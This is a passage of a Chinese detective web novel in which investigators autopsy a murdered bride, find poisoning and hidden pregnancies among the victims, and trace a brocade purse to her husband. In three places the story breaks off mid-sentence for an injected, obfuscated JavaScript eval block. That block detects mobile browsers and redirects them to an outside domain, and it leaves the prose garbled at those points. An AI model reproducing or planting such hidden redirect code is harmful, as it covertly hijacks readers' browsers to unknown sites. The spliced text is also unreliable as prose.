“死者因全身血液抽干,身无血荫尸斑,但看尸体软硬程度,应是丑时到寅时遇害。”薛大夫看他一眼,顿了顿,又补充道,“死因不详。” 话音刚落,叶九思黑漆漆的眼珠直愣愣盯着薛大夫,空洞无物,间或一轮,显出几分瘆人的生气。 竹悠然疑惑道:“薛大夫,为何会是死因不详?我观蒋夫人死状,血枯骨立,状如蝉蜕,分明和前七位遇害新娘一样。” “不好说。”薛大夫讳莫如深,转头吩咐阿大,“把尸体带回公廨吧,我要剖尸验骨。” “剖尸验骨?”众人一愣,下意识看向东方凌云,又看向叶九思。 “不错。”薛大夫起身,慢悠悠脱下羊肠手套,“活人或许会说谎,但死人不会;皮肉或许会隐瞒,但骨骸不会。” 杨无名欲言又止,顿了顿,还是开口劝道:“薛大夫,尸不可轻解……” 叶九思恍如大梦初醒,视线直直钉在薛大夫脸上,语气不容置喙,“我不同意!芸娘已经遇害,你们连一具全尸都不留给她吗!” “叶大人,全尸固然重要,但真相较之更为重要。蒋夫人血液抽干,身上又无血荫尸斑,已经查不出有用的信息了。只有剖尸验骨,才能听到她最后对我们说的话。” “最后说的话……”叶九思双目赤红,愣愣瞪着,忽然滑落两行浊泪,掩面而泣,“芸娘,你莫怪我。” 小七忙上前安慰。 柳眉妩压低了声音,惊奇问道:“薛大夫,死人还会说话吗?” 薛大夫大步跨过醋泼炭火,“如何不会?死人说的话,有时比活人说的更真实,更详细。” 众人半信半疑,但因叶九思松口,便随薛大夫一起回到公廨殓房。薛大夫净手,决明焚香备刀,阿大和十三帮忙打下手。其余人等自觉站开,候在一旁。 柳眉妩皱眉看了小半晌,不忍直视,四处走走转转。不经意转到香炉处,见冷烟流溢,俯身扇风闻了闻,“这香我不曾闻过,非檀非沉,似乎是麝香?” 决明惊讶道:“叶小姐竟能闻出麝香!” 柳眉妩挑眉看他。 决明挠了挠头,解释道:“小的嘴拙,没别的意思。只是这辟秽丹原料特殊,是由川芎二两,甘松一两,细辛半两,麝香少许制成。麝香虽有,却微乎其微,几乎忽略不计,叶小姐却能闻出来,所以惊讶。” 柳眉妩但笑不语,和何清如竹悠然转入内室,查看遇害新娘的遗物。尸骨归葬,入土为安,所留遗物也不过是几件脏污破败的喜服。 竹悠然随手拿起一件喜服,左看右看,忍不住叹息道:“可惜了,这样好看的喜服,转眼就成了公案遗物。” 柳眉妩也叹气,凑近去看,目光却忽然定在喜服的腰身缝合处,眯起了眼。金丝细密,针脚崭新,在昏黄的烛火下显出几分旖旎华贵的光泽。 脑中有什么轰鸣而响,头皮一阵发麻,她颤着声转身问何清如:“大姐姐,你还记得我们去云罗坊定制喜服的时候,报完尺寸之后,夏姬他们的表情吗?” “说不上来,但很微妙。”何清如回忆道,“好像有些惊讶,有些鄙夷,还有些兴奋。” 竹悠然听得云里雾里,“灵儿,你和何小姐在说什么呢?我怎么一句也听不懂。” 柳眉妩如实道:“竹姐姐,我有一个猜测,所有遇害新娘的名单筛选,或许和云罗坊的喜服尺寸相关。” 竹悠然没听懂,还要再问,忽听杨无名的声音在外室响起,“薛大夫,结果如何?” 薛大夫的回答言简意赅,“蒋夫人是中毒而死的。” “中毒而死?” 三人对视一眼,快步出了内室。白布覆尸,辟秽丹烧得旺,淡淡腥味依稀可闻。 “我初时见蒋夫人颈上刀痕,其色乌青,而肉齐截,便起疑心。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268979|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为人若是生前被刀伤致死,伤口处应色鲜痕阔,花纹交错,皮肉紧缩,四周泛有血荫。而蒋夫人之状,恰恰相反。” 宝儿似懂非懂,“也就是说,蒋夫人颈上的刀痕,并非生前就有,而是死后才有的。” “不错,剖尸验骨后,更加确定了我的猜测。蒋夫人口唇指甲虽不青,解衣后,腹肚却青胀。虽被抽干血液,身无血荫尸斑,但剖其尸,观其骨,喉腹处骨亦黪黑,正是中毒之状。 “只是,她的胃里不见星点残食,薛某也不知她因何中毒,中的何毒。但有一点可以肯定,蒋夫人的真正死因是中毒而死。她是死后再被人抽干血液,曝尸荒野的。” 柳眉妩瞥一眼神色恍惚的叶九思,来不及细想,急忙求证道:“薛大夫,蒋姐姐可是有了身孕?” “叶小姐怎么知道?” “我猜的。”柳眉妩娓娓道来,“我在云罗坊见过她的喜服,精致完美,挑不出一点错处;可夏姬却说,蒋姐姐还有地方不满意,所以挂在店里要再改动。方才细看喜服,才发现是改大了腰身尺寸。而这么短的时间里,忽然改大尺寸,难免让人如此想。” 薛大夫点头道:“不错,蒋夫人确实是双身子,腹中胎儿已有四月余。” 众人惊愕不已,你看看我,我看看你,又一起看向叶九思,半天说不出话。守孝期满,即刻成婚,虽说性急了些,却也无可厚非。但新婚之夜新娘遇害,腹中却有四月胎儿,就让人止不住多想了。 叶九思听了这话,低垂失神的黑眸终于有了动静,轮转着看向停尸。下一刻,却是两眼翻白,倒头扑地。 一阵哄闹,薛大夫为他把了脉,叹息道:“气急攻心,经脉不畅,让他好好睡会儿吧。” 等阿大和小七扶了叶九思下去,竹悠然仍是心有戚戚焉,“新婚燕尔,何其可乐!叶大人却遭此无妄之灾,好不可怜!” “我还是不明白。”杨无名百思不得解,“不论下毒还是抽血,明明只要一样,蒋夫人就必死无疑。那么,王不留行为何还要不厌其烦地实施两样呢?” “还能为何?”小九啐了一大口,气愤填膺,“如此穷凶极恶之徒,杀人虐尸,一尸两命,简直禽兽不如,令人发指!我若擒住王不留行,必将他碎尸万段,告慰亡灵。” 何清如沉思道:“我却觉得,不管是王不留行先下毒再抽血,还是下毒害蒋夫人的另有其人,都说明蒋夫人之死与先前几位新娘并不一样。” 柳眉妩拍手赞同,“大姐姐说的在理。而且,既然蒋姐姐之死另有隐情,那我们又怎知,其余几位新娘的遇害,一清二白,没有隐情呢?” 薛大夫笑着看她一眼,“不错,叶小姐之疑也是薛某之疑,叶小姐之问也是薛某之问。所以,薛某还有一个不情之请,要白大人成全。” 柳眉妩瞪大了眼,不可置信道:“薛大夫,你不会是想开棺验尸吧?” 薛大夫继续点头,“薛某正有此意。” 阿大为难道:“可是,先前几位死者早已入土为安,家属怕是不会轻易同意我们掘坟开棺,再次曝尸荒野的。” 薛大夫还是点头,“所以,我们不必通知死者家属。” 柳眉妩愕然,“薛大夫,你真疯狂。” 宝儿提醒道:“薛大夫,你可想好了,擅自掘坟开棺,不仅有违公序良俗,而且依律定罪也是不轻。你若一意孤行,下辈子怕是要与牢狱为伍了。” 小九闻言抽噎一声,说话竟带上了哭腔,“薛大夫,你放心,你我相识一场,到时候我一定会多多关照你的。好床好被,好酒好菜,定不会亏待于你。” 薛大夫挑眉,“谁说我是擅自了,我这不是正在请示白大人的意思吗?” 东方凌云轻笑一声,不理会其余几人精彩纷呈的脸色,自顾自点头道:“君子一言,快马一鞭。本官既答应了薛大夫,任你剖尸验骨,许你便宜行事,你要做什么,尽管去做便是,万事本官担着。” 薛大夫拱手行礼,哈哈笑道:“白大人乃真君子也!薛某就喜欢和白大人这样的爽快人打交道。” 柳眉妩忽然想到什么,左右张望,奇怪道:“对了,十三呢?怎么不见他人影?” 薛大夫继续笑着,“决明和十三已先行一步,为我踩点开路去了。” 25. 故事 除却李苏苏悬棺崖葬,其余遇害新娘都是落棺土葬。决明和十三踩好点,只等阿大他们一到便可掘坟开棺。 为防打草惊蛇,也怕兴师动众,薛大夫不打算将尸骨带回公廨,而是就地解剖。柳眉妩对旁观兴致不高,听东方凌云安排好人手,打个呵欠就要回去补觉,杨无名却忽然叫住她,借一步说话。 “灵儿,最近没回浣花别业吗?” “是没怎么回。二表哥,有什么事吗?” 杨无名欲言又止,不动声色瞥过宝儿,目光有些闪烁,似乎是在纠结怎么开口。柳眉妩静静等着,竹悠然忽然过来叫他:“师弟,我们也走吧,别误了时辰。” 杨无名恍然回神,点头应了话,口中道:“娘许久没见你了,很是想念。灵儿方便的话,可以多去府里陪娘说说话。” 柳眉妩不明所以,讷讷应声,又见竹悠然朝她挤了挤眼睛,“灵儿,那我们就先走了,你回去再睡会儿吧。” 柳眉妩便和何清如回房补觉,其余几人各自领了任务,出门去了。不知是累极还是困极,柳眉妩倒头就睡,这一睡,直睡到未时过半才堪堪转醒。 午膳简单吃了半碗饽饦,啃了两口胡饼,食欲缺缺,便作罢了。因念着杨无名的话,又想到许久不见钟夫人,干脆回了趟别业,让小茶收拾几件礼物,径直往将军府去了。 到了从心院,丫鬟婆子们见到她,忙停了手里活计,一连声儿朝她行礼。钟夫人早早儿听了通传,出门迎她,“娇儿,你来啦。” 两人寒暄几句,柳眉妩好奇问道:“姨母,我看院里忙得紧,有什么要紧事吗?” 钟夫人促狭看她一眼,摸了摸她的脸,“你这孩子,自己的好事都不关心么?” 柳眉妩一口茶呛在喉里,上不得下不得,咽了半晌,最后还是咳了出来,结结巴巴地问:“什,什么好事?” 钟夫人忙递来帕子给她擦嘴,好笑道:“还能是什么好事?” 一瞬间,想到杨无名欲言又止的反常,又想到竹悠然似笑非笑的调侃,柳眉妩急忙道:“姨母,这会不会太急了些,我还没准备好。” “你有什么好准备的,缺什么少什么,吩咐一声,让她们去准备就是。”钟夫人转头看一眼玲珑姑姑,又看向柳眉妩,语气关切,“娇儿,可是有哪里不满意?不喜欢这几匹蜀锦料子?还是不喜欢这几套点翠头面?” “没有不喜欢。”柳眉妩瞥过内外陈列的珠翠绮罗,华贵迷人眼,语气便缓了些,“但问题也不是喜不喜欢,而是我现在全然不知情。” 钟夫人被她说迷糊了,“娇儿,我更糊涂了。你自己的生辰,怎么会全然不知情呢?” 柳眉妩一噎,差点被唾沫星子呛住,轻咳了两声,又端过茶杯慢悠悠喝了口茶,才缓了气息回道:“是生辰啊……” “不然你以为是什么?下月初八可不就是你的十四岁生辰么。”钟夫人神色无奈,语气却带着纵容,“真像,这古灵精怪的淘气劲儿,和檀儿简直一模一样。” “我娘也淘气吗?” 钟夫人没有回答,摸了摸柳眉妩的脸,忽然问:“娇儿,要听故事吗?” “要。” 钟夫人欣慰一笑,脸上泛出凄而清的温柔,慢慢收回手,指腹摩挲着青瓷杯壁,思绪却渐渐飘远了—— “我第一次见到檀儿,她才四岁半,白嫩嫩一只雪团子。那年我十三岁,回外祖家避暑,姐姐没有同行。山居清幽,长日无事,大概是我一见面就把荷花酥送给檀儿的缘故,她十分黏我,外祖家的人都说,我身后长了个小尾巴。 “我在家中行末,从来只有当妹妹的份,不曾被人叫过姐姐。檀儿每每见我,总是软声软气地叫我姐姐,那感觉新奇又难忘,听得人心都要化了。 “檀儿身子弱,那时本是跟着隔壁花家姨母来静养的,待身子好些,姨母要回去,檀儿却怎么也不乐意。又哭又闹地缠着我,折腾得脸红脖子粗,险些一口气喘不上来,谁劝都不听。没法子,花家姨母只好让她留了下来,拜托我带她玩。 “我在外祖家小住了三月,再回家已入秋,檀儿五岁了。檀儿和我一起回了家,见到姐姐,还是最黏我。姐姐开玩笑说,可惜我不是男儿身,不然就能娶檀儿了。每每这时,檀儿总是没羞没臊地说,等她长大,她来娶我。 “说来也巧,往常回外祖家避暑,都是我和姐姐同去同归。偏偏那时,将军奔亲,姐姐对将军一见钟情,便没有和我回外祖家,我却遇上了檀儿。 “檀儿与我同睡同起,还是最黏我,直到姐姐出嫁,又有了身子。我们分开了一段时间,再相见时,檀儿忽然提出,要和我定下姻亲,便是以后嫁人生子也不分开。她学着坊间话本里的话说,若是两子便结为异姓兄弟,若是两女便结为金兰姐妹,若是一男一女便刚好结为连理。回娘家的姐姐听到了,指着自己日渐显怀的身子哈哈大笑,秦晋之好,在我腹中。” “七月底,花家姨父调为桂林郡丞,不日就要赴任,檀儿被接了回去。姐姐产期将近,我本想赴京照顾姐姐,母亲却说没有这样的规矩,让我再等等。我在家等啊等,等啊等,终于等到姐姐生下咎儿的消息传来。同时,还有姐姐的噩耗……” 钟夫人呜咽一声,双手掩面,泣不成声,好半晌才平复了心情,继续说道:“姐姐是难产死的,也是咎儿这孩子命苦,一生下来就没了娘亲。将军和姐姐感情深厚,他接受不了姐姐难产的事实,就一直在心里怪罪咎儿,觉得是他克死了姐姐,是灾星。 “我本想留在将军府照看咎儿,却被母亲带了回来,她说我毕竟是大姑娘了,要操心自己的事了。我于心不忍,却也知道母亲所说无差,便终日安分守己,待字闺中。 “咎儿满月时,将军府不办筵席,不宴亲朋。我们也是到了才知道,咎儿已经烧了一天一夜,而将军对他不管不顾。 “也是咎儿命苦,出生以来,将军赐了名,便随手扔给乳娘,眼不见为净。乳娘说,咎儿高热不退,水乳不进,原先还能扯着嗓子哇哇大哭,后来没了力气,只是昏睡,满脸通红,浑身滚烫。她没有办法,也去找过将军,却连将军的面都见不到,只听下人传话让她去找大夫。可将军态度摆在这里,哪里会有大夫尽心医治,便是请了大夫来,也没钱拿药。 “咎儿没了娘,爹又不管他死活,我实在是放心不下,终于还是选择留在了将军府照顾咎儿。姐姐的事我也难过,但再难过也不该将全数罪责归咎到刚出生的孩子身上。我希望咎儿无所归罪,平安喜乐,就把他的名字从无救改为了无咎。毕竟……他是姐姐留下的唯一血脉了……” 钟夫人说到这里,唏嘘不已,“将军为他取名无救,无可救药的无救。” 说罢,垂头又叹起气来。 柳眉妩发现,她仿佛格外喜欢叹气,如同爹爹去后的娘亲一般。而叹气,似乎也成了女子惯用的一种手段。 一声声长吁短叹,一声声抑扬顿挫,她们或沉默着对抗世界,或无声地消解情绪。只是那力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268980|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量极微茫,极渺小,如蚍蜉撼树,如精卫填海。 夫子称之为弱德。 而弱德之于女子,又是上善。上善若水,水善利万物而不争。可她向来不屑于此,也不屑遵循。 除非……实在忍不住。 于是,叹息声中,两人久久沉默起来。 柳眉妩着实震惊,难以想象这是一种怎样的成长环境。娘难产而死,爹不管不顾,光是想想便令人窒息。别人的爹只愿儿女无病无灾,无祸无恙,他却被亲爹取名无救,无可救药,生死由命。 还是钟夫人打破沉默,继续说道:“将军守丧一年后,我如愿嫁入了将军府,住进了从心院。第二年,将军辞官,我们回到成都。第三年,名儿出生。 “名儿生来体弱,百日宴上,红袖师太提出收他为徒,教他武艺,可保康乐无虞。师太是将军的故交,信得过,将军同意,我自然也没意见。我当然舍不得名儿,做娘的怎么能舍得自己身上掉下来的肉。但与其看到名儿疾病不断,我更希望他能无病无灾,平安喜乐。 “我记得很清楚,名儿五岁那年,府里的下人传得沸沸扬扬,说成都首富叶老爷回来了。我本不关心这些,直到花夫人叩门拜访——那是阔别九年之久,我再一次见到檀儿,分别时我们还不曾婚嫁,再见时却都已嫁人生子了。那时候,娇儿,你刚满周岁。 “我和檀儿互留了信物,终于确定了你和咎儿的婚事,也在一起过了两年无忧无虑的快活时光。只可惜,好景不长。因为要打理生意,你们举家远迁西域,这一去就是十年。这一走,我和檀儿就再没相见的时候了。” 钟夫人说到这里,情难自禁,流下两行清泪,发觉失态,又忙用绢帕擦了。 柳眉妩也听得红了眼,难掩动容道:“姨母,娘亲常和我提起你们,她说她也很想你们。” 这自然是柳眉妩即兴说的。但她也无从得知,在西域的十年里,花檀是否对叶灵儿说过诸如此类的知心话。 柳眉妩想,定是说过的吧。因为设身处地地想,若她嫁了人,为人妻,为人母,定是会向夫君儿女说些自己的奇闻趣事的,比如死而复生借尸还魂什么的。 钟夫人爱怜地摸着柳眉妩的脸,才继续道:“你们走后不久,名儿就满七岁了。名儿开蒙后,我们按照约定将他送去了红袖山。成都离红袖山不远,也不近,车马来回七日,若再小住几日,半月就过去了。 “初时我们隔三差五地去,名儿再大些,就两三月去一次。名儿懂事,不哭不闹,也从不主动念叨要见我们。但我知道,每每我们去看他时,他最开心。 “悠然是名儿的师姐,性子虽沉稳,但到底年岁小。那孩子也可怜,无父无母,自小便被师太收养在山,没怎么享过天伦之乐。因为我们去得勤,有了对照,总是一个人躲起来偷偷哭。名儿便主动提出,让我们一年一去,只在他生辰之日去,就足够了。那时候,他还不到九岁,却知道这般照顾师姐的情绪了。 “我有时也会想,若是檀儿还在这里,若是你还在这里,名儿肯定也会如此这般照顾你,比悠然定是有过之而无不及。”钟夫人说到这里,欣慰地笑起来,“我看得出来,名儿很喜欢你。” “我也喜欢二表哥。”柳眉妩点头附和。 钟夫人见她肃然坦荡的模样,忍俊不禁,“你呀你,小嘴这般甜,和檀儿简直一模一样。” 话音刚落,忽见一人挑起风帘进来,音色和缓,如泉声潺潺,唤人道:“二娘,娇娇儿。” 26. 真相(一) 钟夫人闻声望去,笑着朝他招手,嗔怪道:“咎儿来了,怎么不让她们通传一声。” “给二娘请安。看您和娇娇儿聊得正欢,不好打扰。” “娇儿惹人怜爱,又与我亲近,便聊得多了些。”钟夫人转头,摸了摸柳眉妩的脸,“娇儿,正好咎儿来了,让他带你在府中转转吧。” 柳眉妩识趣接话:“那灵儿就不叨扰姨母了。姨母这几日睡不好,不如早些躺着,也好养养精气神。” 钟夫人笑着应了,目送两人离开。柳眉妩跟在杨无咎身后,且说且笑,转过回廊,又穿月洞,眼前豁然出现一处小院。青砖黛瓦,柳枝半垂在矮墙,翠色迷眼,绿意盎然。 “朴院,名字倒是有意思。大雅归简,至繁若朴,不知是谁的院子。” “道经云,镇之以无名之朴,夫将不欲。”杨无咎的视线轻飘飘的,似乎落在匾额上,又似乎落在虚空中,“自然是二弟的。” 柳眉妩转头看他。 “娇娇儿,二娘没有跟你说过,二弟名字的由来吧。”不等柳眉妩回话,杨无咎自顾自又道,“无名之名,并非籍籍无名之意,而是取自‘至人无己,神人无功,圣人无名’之句。 “二弟与我不同。他有爹疼,有娘爱,生来便被寄予厚望。不知情的人或许会以为,二弟自幼送往红袖山,而我从小长在将军府,肯定是我更受宠些。可他们哪里知道,杨府既是将军府,自然先是官,再是商。爹让我早早接手了家里生意,剩下的,便注定无缘了。” “大表哥……” “我没想和二弟争什么。”杨无咎忽然道,顿了顿,又垂下眼睫,语带嘲弄,“不过我也不清楚,到底是我不想争,还是因为知道自己争不过,所以从不去争。” 柳眉妩默言良久,叹息道:“大表哥,你都听到了。” 杨无咎看她一眼,神色似是坦然,“这些事在府中本就不算私密,二娘今日不说,你早晚也会知道。” “大表哥,无论我知道的是早是晚,我都要告诉你:过往种种,错不在你,你不必归罪在己,更不必妄自菲薄。稚子何辜,你也没有选择的余地,更别说信什么无可救药的谬论。此事分明是杨姨父行事欠妥,但姨母将你视如己出,二表哥也尊你敬你,你……别多想。” “娇娇儿,你喜欢二弟吗?”杨无咎忽然问道。 “啊?”柳眉妩愣了一瞬,反应过来,点头回道,“我喜欢二表哥,也喜欢大表哥,也喜欢姨母,就像喜欢爹爹娘亲一样。你们都是我在成都的亲人。 “我虽年岁小,不懂风月事,却也知道婚姻并非儿戏。夫妻一体,同气连枝,是要互相搀扶着过一辈子的。娘亲和姨母或许有亲上加亲的想法,我能理解,却不会接受。 “因为,她们的想法始终是她们的想法,不是我的想法,也不能左右我的想法。我是我,便注定有我自己的人生,独一无二的人生。” “是宝儿吗?” 柳眉妩一愣。 “你喜欢那样的?” “是。” 杨无咎忽然笑了,“我知道了。” 气音浅浅,不辨情绪。 柳眉妩以为说开,心思通畅,欢快找话题道:“说起来,似乎许久没见大表哥了,大表哥最近在忙什么?” “忙生意。入夏事繁,分身不暇,过几日又要去一趟江州。娇娇儿,可有什么想要的东西,我帮你带回来。” “我什么都有,不用帮我带。”柳眉妩笑起来,眉眼弯弯,“大表哥,一路顺风,早些回来。” 杨无咎便也笑了,“江州离得近,来回不过旬日,定能赶在你生辰之前回来。” * 天色渐晚,柳眉妩向杨无咎辞别,上了马车,却让车夫往御史府的方向驶去。小茶听她说了近日行踪,很是担忧,千万个不乐意,却还是拗不过柳眉妩。 薄暮四合,华灯初上。长街上偶有欢笑声,车马摇摇晃晃,她掀开软帘往外看,烟火气混着初夏热意,扑面而来。途经云罗坊,远远便见门口挂了一面四方招幌,喜庆的红,华丽的金,略显眼熟的簪花小楷。 她还没反应过来,马车已行远了。 到了御史府,十三早早等在门口,见她下了马车,连忙抖开披风迎上来。 小茶轻哼道:“小姐偏心。” 柳眉妩捏了捏她的脸,好笑道:“这话可不兴说,你想住,今晚住下便是。” 小茶当即欢喜道:“太好了!” 正是膳时,等柳眉妩到了膳厅,又让小六安排好小茶座次,其余几人早已坐定,吃起茶果点心了。 东方凌云和何清如东向坐,宝儿南向坐,杨无名北向坐,竹悠然西向坐。柳眉妩简单与几人打过招呼,走到宝儿邻座,见他杯中空空,犹自狼吞虎咽,一面为他倒茶,一面好笑地叮嘱:“吃慢些,喝口茶缓缓。” “谢谢娇娇儿。”宝儿接过茶,下意识往后避了避,“我身上脏,别熏着你。” 屋里檀香烧得盛,柳眉妩却还是闻到浓郁的皂醋味,以及丝丝缕缕的腐腥味。想是一行人忙完回来,不等沐浴休整,便坐上食桌用膳了。 “无碍。” 她无所谓地摇头,落了座,翕翕鼻子,还是没忍住招手唤来小六,侍立一旁招风打扇,好歹把味道吹散些。转头瞧见宝儿囫囵吞了青团子,就着温茶三两口咽下,更加好笑了,“宝儿,这么饿吗?” 宝儿点着头,含糊回道:“饿。上一顿还是昨晚上的喜宴,都一天了,忙里偷闲就只来得及啃两块没馅儿的胡饼。” 人既齐了,东方凌云示意开膳,柳眉妩趁机为他夹了块酱肘子,“所以结果如何?” “不出所料,今日开棺验的顾双卿和流莺都是双身子。李苏苏因悬棺崖葬,还没开棺,明日一早再由阿大和十三上崖去验尸。剩下三位死者,不在成都县,薛大夫说明日他和决明分作两路,一路去临邛,一路去华阳。” “不愧是小十三,两月不到就能出师了,果真是有天赋。”柳眉妩由衷赞完,忽又想到什么,探头问东方凌云,“二哥哥,通知苦主了吗?” 东方凌云摇头,“事情未定,不宜声张。况且,未婚苟合,到底不是什么光彩的事。” “光彩不光彩,又不是她们自己能决定的。简狄食卵生契,姜嫄履迹诞稷,古人最爱穿凿附会,难道她们也是莫名其妙地感而有孕吗?今日落得这般下场,那些男子却一个个冠冕堂皇,拂袖隐身,岂不怪哉!”竹悠然不以为然地哂道,“情难自抑是他们,置身事外也是他们,天底下哪有这么好的事!” 柳眉妩鼓掌,“太对了,竹姐姐!” 何清如被她逗笑,伸手按住柳眉妩跃跃欲起的身子,“快消停些,房顶都要被你掀起来了。” 柳眉妩朝她吐了吐舌头,又歪头朝竹悠然眨眼睛。在场几人见她这般动作,会心一笑。 晚膳用完,杨无名和竹悠然回将军府,小茶想跟柳眉妩回房,却被十二借口拉走。柳眉妩和何清如携手在后院散步,闲话消食,回房洗漱睡觉,一夜无话。 再醒来,日上三竿,洗漱用过早中膳,阿大和十三还没回来。宝儿提议去看看叶九思,柳眉妩在府中左右无事,便缠着何清如一起去了。 叶九思因气急攻心,昨日当场晕厥,到晚又发起高热,烧得迷迷糊糊,一会儿哭一会儿喊。刘管家连夜去请薛大夫,薛大夫累极,有心无力,就让决明过来瞧瞧,开了几副药,又擦了几遍身子,将将天明才消停降温,只是人还没彻底清醒。 几人唏嘘一阵,便在房中四处搜查。刘管家知晓他们身份,不好拒绝,吩咐小厮仔细照看,便退下自顾去忙了。 “奇怪。”何清如忽然出声。 柳眉妩从屏风后探头,眨巴着眼,看向何清如,“大姐姐,怎么了?” “娇娇儿,你看这个荷包。” 柳眉妩和宝儿近身接过,但见荷包上绣牡丹缠枝纹,边缘缀珍珠流苏,开口处用彩丝编绳系结,绳端又坠有翡翠雕花扣,华贵非常。 “这是蒋姐姐的荷包?”她疑惑地翻转荷包,瞥见右下角的小字,更疑惑了。 “娇娇儿,可看出什么了?” 柳眉妩脑中飞快闪过什么,却没抓住,摇头道:“我没听过蒋姐姐有小名,还唤作音音。不过,许是她要送给旁人的,也说不定。” “以桑蚕为经,捻金银为纬,间杂孔雀羽线,见之金翠交辉,触之厚重挺括。”何清如兀自念完,又笑了笑,“娇娇儿,还不熟悉吗?” 柳眉妩一拍脑袋,福至心灵,“我想起来了,是三姐姐最喜欢的云锦!” “不错,就是云锦,而且还是去年的时兴样式。” 柳眉妩和宝儿似懂非懂,低头再看。花瓣是金丝,枝叶是银线,又杂有红绿蓝三色填彩,远观如云蒸霞蔚,近看则流光溢彩。再细看,原是花蕊处缀了点点螺钿,微凸如晶,熠熠有光,触手生凉。 “金陵云锦,顾名思义,如云似锦,妆金敷彩,新样与旧制却有很大不同。先说填彩,旧制多填朱砂石青二色,久之易褪红发灰,又无晕染,故而稍逊生气;而新样多杂胭脂红、翡翠绿、孔雀蓝三色,且有渐变,更为炫彩夺目。再说点蕊,旧制多以珍珠点缀,只有新样才会缀有螺钿。” 柳眉妩听得云里雾里,“那又如何?” “还记得蒋夫人的新婚头面吗,用的还是好几年前的石榴样式,想来不是讲究时兴之人,更遑论去年才出的云锦荷包了。且成都就有蜀锦,她要送荷包为礼,为何不直接送蜀锦,还要舍近求远,选择千里之外的云锦呢?” 宝儿听懂了,恍然道:“也就是说,这个云锦荷包,不是蒋芸娘的,而是叶九思的。” “可是,叶大人丁忧三年,足不出蜀,按理说更加不可能知道云锦的新样了,何况还是这般精致的女子荷包……”柳眉妩顿了顿,缓缓眯眼,“不对,还有一种可能。这荷包不是蒋姐姐的,也不是叶大人的,而是旁人送的。” 何清如不答反问:“娇娇儿,你会给谁送荷包呢?” “那有很多啊。娘亲,大姐姐,二姐姐,三姐姐,大嫂嫂……哦还有竹姐姐……” “异性呢?” “那也有很多啊。给宝儿,给二哥哥,给小十三……”柳眉妩掰着指头数个不停,口中絮絮叨叨。 “那你为何不给杨大公子送荷包?”何清如忽然打断问道。 “大表哥?我和大表哥没那么熟啦,而荷包这种体己物,自然是要送给亲近的人。” “那你觉得,什么样亲近的人,会给叶九思送荷包呢?”何清如问完,转头又问宝儿,“宝儿,你会收谁送的荷包?” 宝儿脱口而出,“娇娇儿的。” “如果我送呢?二妹送呢?三妹送呢?” 宝儿连连摇头,“不要。你们可以送给娇娇儿。” 柳眉妩被两人一唱一和扰乱了思绪,半晌才重新理顺,好奇问道:“大姐姐,你怎么这么笃定,荷包一定是送给叶大人,而不是蒋姐姐呢?” “其一,云锦产自金陵,恰与广陵相邻,和成都却相隔千里。若真有这样一位女子,讲时兴,懂风雅,又不差钱,你觉得是身为广陵郡丞的叶九思认识的可能性更大,还是深居成都的蒋芸娘认识的可能性更大?其二,”何清如摇头失笑,“娇娇儿,你当局者迷,可是被一句太姑奶奶叫昏了头,怎么如今反倒来问我这个问题。” 柳眉妩似有所感,翕了翕鼻子,恍然大悟,“是香!是木犀香!我想起来了,我确实在叶大人身上闻到过桂香,很淡很淡,被降真香和檀香掩着,当时只想到清心香,没想到竟是木犀香。” 何清如不置可否,幽幽道:“三人行,有些挤了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268981|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳眉妩气得直跺脚,“好一个叶九思!” * 约莫等了半个时辰,叶九思依旧没有转醒的迹象,三人只得打道回府。路上遇到两个丫鬟,窃窃私语,迎面而来。 柳眉妩忽然停步问道:“你们方才说三彩死了,三彩是何人?” 两人诚惶诚恐地见了礼,粉衣丫鬟恭敬回道:“三彩是我家夫人养的一只玳瑁猫,因身上有黄白黑三色,所以叫三彩。夫人遇害后,家里混乱,没怎么看顾它,结果今日一早却在后山发现它的尸体。” 宝儿问:“怎么死的?” “三彩惯爱贪吃乱跑,许是跑到外面,不小心吃了不干净的东西,被药死了。”绿衣丫鬟闷声说完,抬手揉了揉眼睛。 柳眉妩又问:“跑到外面?你们怎知它一定是在外面吃的?” “夫人爱猫,三彩又会抓耗子,所以家里从来不备耗子药。”绿衣丫鬟哽咽,“三彩无端被药死,自然是在外面吃了不干净的东西。” 柳眉妩后知后觉,两人眼眶都是红红的,想来哭了许久。叹息一声,简单安慰两句,挥手让她们下去,几人便继续往御史府回去。 甫一进门,却听小厮禀报阿大和十三已回来了,又急忙往正厅赶去。阿大正在回话,十三垂手站在一旁,柳眉妩便过去问道:“十三,怎么样?” 十三叹口气,神色凝重,“李二小姐确有身孕。那孩子都快成型了,少说也有三个月。” 十二转身就要走,口中喊道:“我去拿人。” 